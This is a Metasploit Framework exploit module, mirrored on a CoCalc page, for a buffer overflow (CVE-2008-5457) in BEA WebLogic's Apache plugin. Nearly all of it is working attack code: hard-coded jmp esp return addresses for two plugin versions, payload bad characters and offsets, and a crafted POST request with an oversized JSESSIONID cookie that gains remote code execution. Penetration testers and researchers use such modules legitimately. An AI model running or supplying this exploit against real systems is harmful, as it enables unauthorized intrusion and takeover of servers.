CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/http/bea_weblogic_jsessionid.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::Remote::Seh
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'BEA WebLogic JSESSIONID Cookie Value Overflow',
15
'Description' => %q{
16
This module exploits a buffer overflow in BEA's WebLogic plugin. The vulnerable
17
code is only accessible when clustering is configured. A request containing a
18
long JSESSION cookie value can lead to arbitrary code execution.
19
},
20
'Author' => 'pusscat',
21
'References' =>
22
[
23
[ 'CVE', '2008-5457' ],
24
[ 'OSVDB', '51311' ],
25
],
26
'DefaultOptions' =>
27
{
28
'EXITFUNC' => 'seh',
29
},
30
'Privileged' => true,
31
'Platform' => 'win',
32
'Payload' =>
33
{
34
'Space' => 800,
35
'BadChars' => "\x00\x0d\x0a\x20\x3B\x3D\x2C",
36
'StackAdjustment' => -3500,
37
},
38
'Targets' =>
39
[
40
[ 'Windows Apache 2.2 - WebLogic module version 1.0.1136334',
41
{
42
'Ret' => 0x1006c9b5, # jmp esp
43
}
44
],
45
[ 'Windows Apache 2.2 - WebLogic module version 1.0.1150354',
46
{
47
'Ret' => 0x1006c9be, # jmp esp
48
}
49
],
50
],
51
'DefaultTarget' => 1,
52
'DisclosureDate' => '2009-01-13'))
53
54
register_options(
55
[
56
Opt::RPORT(80)
57
])
58
end
59
60
def exploit
61
sploit = Rex::Text.rand_text_alphanumeric(10000, payload_badchars)
62
sploit[8181, 4] = [target.ret].pack('V')
63
sploit[8185, payload.encoded.length] = payload.encoded
64
65
request =
66
"POST /index.jsp HTTP/1.1\r\nHost: localhost\r\nCookie: TAGLINE=IAMMCLOVIN; JSESSIONID=" +
67
sploit +
68
"\r\n\r\n"
69
70
connect
71
sock.put(request);
72
handler
73
74
disconnect
75
end
76
end
77
78